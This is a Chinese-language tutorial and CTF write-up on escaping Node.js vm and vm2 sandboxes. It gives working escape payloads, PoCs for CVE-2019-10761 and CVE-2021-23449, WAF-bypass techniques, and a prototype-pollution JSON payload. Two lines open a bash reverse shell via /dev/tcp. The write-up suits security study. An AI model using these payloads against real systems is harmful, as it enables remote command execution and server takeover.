Nodejs 沙箱逃逸

沙箱简介

​ 计算机世界的沙箱,实际上是对线下一种生活现象的虚拟化模拟。在现实生活中,孩子们会用木板在沙地或沙滩上围出一个方盒子,然后在里面用沙子堆砌、创造出各种形状,如城堡、房屋、山丘等。这个方盒子就是一个沙箱,它具有两个核心特点:一是有明确的边界,游戏和创造活动都被限制在这个边界内;二是使用沙子作为游戏材料,创造出来的任何东西都可以轻易地被抹平,不留痕迹。

​ 在计算机世界中,这种沙箱的概念被数字化模拟了出来。通过软硬件手段的结合,可以在一台设备(如服务器或手机)中模拟出一个“管控”区域。这个区域内部是预先指定和划分出来的运算与存储资源,与宿主设备的其他资源完全隔离。应用代码可以在这个模拟区域内运行,即使它是病毒、木马或DDoS攻击软件,也只能在这个资源受限的模拟世界中折腾,无法看到或影响宿主设备中的其他部分,更无法滥用宿主资源导致设备崩溃。此外,由于这个区域是模拟的,因此无论里面运行着什么,都可以一键删除,实现瞬间的清零。

​ 简而言之,计算机世界的沙箱就是一种虚拟化技术,用于在安全的环境中运行和测试代码,防止恶意软件对宿主设备造成损害。

​ 在Node.js中,沙箱是一种重要的安全机制,它通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供了一个安全的环境。通过vm模块或第三方库,开发者可以创建和管理沙箱,确保系统的安全性和稳定性,但同时也需要关注潜在的安全风险。

Nodejs的作用域

​ 在Node.js的编程环境中,每个JavaScript文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染。

全局作用域(Global Scope)

​ 在Node.js中,global对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如consoleprocessBuffer等内置对象,以及任何直接添加到global对象上的自定义属性或方法。但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。

模块作用域(Module Scope)

​ 每个Node.js文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。

代码示例:

(一)

a.js

let name = 'P4tt0n'

b.js

const file = require('./a.js')
console.log(file.name)

image-20240727234655849

(二)

a.js

let name = 'P4tt0n'
exports.name = name

b.js

const file = require('./a.js')
console.log(file.name)

image-20240727234756348

由此可见a.js和b.js不在同一个作用域,只有使用require将一个包中的模块引入到另一个包,才能实现功能的引用.而且这并不是把一个包中的所有变量和函数引入到另一个包,require只返回一个模块的导出对象,这取决于模块自身的 module.exportsexports 对象的设置

(三)

a.js

global.name = 'P4tt0n'

b.js

const file = require('./a.js')
console.log(name)

image-20240727234756348

​ 可见,我们输出name时,不需要使用file.name的形式,我们可以直接使用name进行输出,同时name也不需要使用exports进行导出,因为此时name已经挂载在global上了,它的作用域不在a.js中了。

VM沙箱

​ 上文介绍了作用域,vm模块就是通过定义一个全新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了。

接下来介绍一些vm模块的api

  1. vm.Script

    new vm.Script(code[, options]): 创建一个预编译的Script对象,表示一段JavaScript代码。

    script.runInContext([contextifiedSandbox[, options]]): 在指定的上下文中执行预编译的脚本。script.runInNewContext([sandbox[, options]]): 创建一个新的上下文并在其中执行脚本。

    vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

  2. vm.createContext([sandbox[, options]])

    创建一个新的、独立的上下文(沙箱),可以包含预先定义的变量和函数。

    使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性

    具体结构:

    V8{
    sandbox{}
    global{}
    }

    示例:

    c.js

    // Node.js program to demonstrate the      
    // vm.createContext([contextObject[, options]])
    // method

    // Including util and vm module
    const util = require('util');
    const vm = require('vm');

    // Assigning value to the global variable
    global.globalVar = 10;

    // Defining Context object
    const object = { globalVar:4 };

    // Contextifying stated object
    // using createContext method
    vm.createContext(object);

    // Compiling code
    vm.runInContext('globalVar /= 2;', object);

    // Displays the context
    console.log("Context:", object);

    // Dsiplays value of global variable
    console.log("Global Variable is ", global.globalVar);

    image-20240728213638733

  3. vm.runInContext(code, contextifiedSandbox[, options])

    参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

    示例d.js

    const vm = require('vm')
    global.global_var = 1
    const sandbox = {global_var: 2} //创建一个沙箱对象
    vm.createContext(sandbox) //创建一个上下文对象
    vm.runInContext('global_var*=2',sandbox)

    console.log(sandbox) // { global_var: 4 }
    console.log(global_var) // 1

    image-20240728214200798

  4. vm.runInNewContext(code[, sandbox[, options]])

    创建一个新的上下文并在其中运行JavaScript代码。这个函数是createContext()runInContext()的结合版,传入要执行的代码和沙箱对象

  5. vm.runInThisContext(code[, options])

    在当前上下文中运行JavaScript代码,代码可以直接访问当前作用域的变量。sandbox沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)

    示例e.js

    // Node.js program to demonstrate the      
    // runInThisContext() method

    // Including vm module
    const vm = require('vm');

    // Declaring local variable
    let localVar = 'GYH';

    // Calling runInThisContext method
    const vmresult =
    vm.runInThisContext('localVar = "P4tt0n";');

    // Prints output for vmresult
    console.log(`vmresult:'${vmresult}',
    localVar:'${localVar}'`);

    // Constructing eval
    const evalresult = eval('localVar = "LZ";');

    // Prints output for evalresult
    console.log(`evalresult:'${evalresult}',
    localVar:'${localVar}'`);

    image-20240728214808336

  6. vm.createScript(code[, options])

    (过时,从Node.js v0.12开始不再推荐使用)创建一个可执行的Script对象。

VM沙箱逃逸

举一个例子

f.js

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

image-20240728225406813

​ 很明显是逃逸出去了。如何做到的?debug跟进一下

image-20240728230600603

image-20240728230628146 image-20240728230641958

image-20240728230658141

image-20240728230711056

image-20240728230746658

image-20240728230758946

​ 这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。

constructor的理解

示例:

function PP(){
name : 'P4tt0n'
};

const a= new PP();

console.log(a.constructor);//PP
console.log(a.constructor.constructor);//Function

绕过Object.create(null)

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

image-20240728232613904

​ 我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

image-20240728232843232

​ 我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

VM2沙箱逃逸

​ vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及___proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。

CVE-2019-10761

该漏洞要求vm2版本<=3.6.10

poc

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){

}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

CVE-2021-23449

​ import()在JavaScript中是一个语法结构,不是函数,没法通过之前对 require这种函数处理相同的方法来处理它,导致实际上我们调用 import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获 取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正 则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误

poc

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

另外的poc

Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

例题

NKCTF-2024 全世界最简单的ctf

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

很明显的vm沙箱逃逸问题

正常的payload

throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})

接下来思考如何绕waf

因为题目没有/i,所以对大小写不敏感

我们的process可以等价于

const pro='Process'.toLowerCase();
console.log(pro)//打印process

或者String.fromCharCode绕过

const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115)
console.log(pro)//输出process

还需要绕过exec

我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

这样就可以获得eval方法

第一步是要获得global这个模块,原来是获取process模块,但是如果获取到了global,那什么都好获取了

get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
}

然后就要获取我们的process模块,并且引用child_process

const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
1
child_process
const a = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')));
const b=process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
console.log(a)//获取到process
console.log(b)//获取到child_process

任何就是获取exec并执行命令

return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");

获取a对象的exec这个对象去执行后面的命令

HZNUCTF eznode

访问app.js获取源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。clone()函数很明显的一个原型链污染,而VM2会执行shellcode属性的内容,那么也就是我们需要将该属性污染成VM2沙箱逃逸的payload即可执行任意命令

payload:

{"shit":1,"__proto__":{"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"}}

参考链接

NodeJS vm&vm2沙箱逃逸_node vm2-CSDN博客

vm2沙箱逃逸分析-安全客 - 安全资讯平台 (anquanke.com)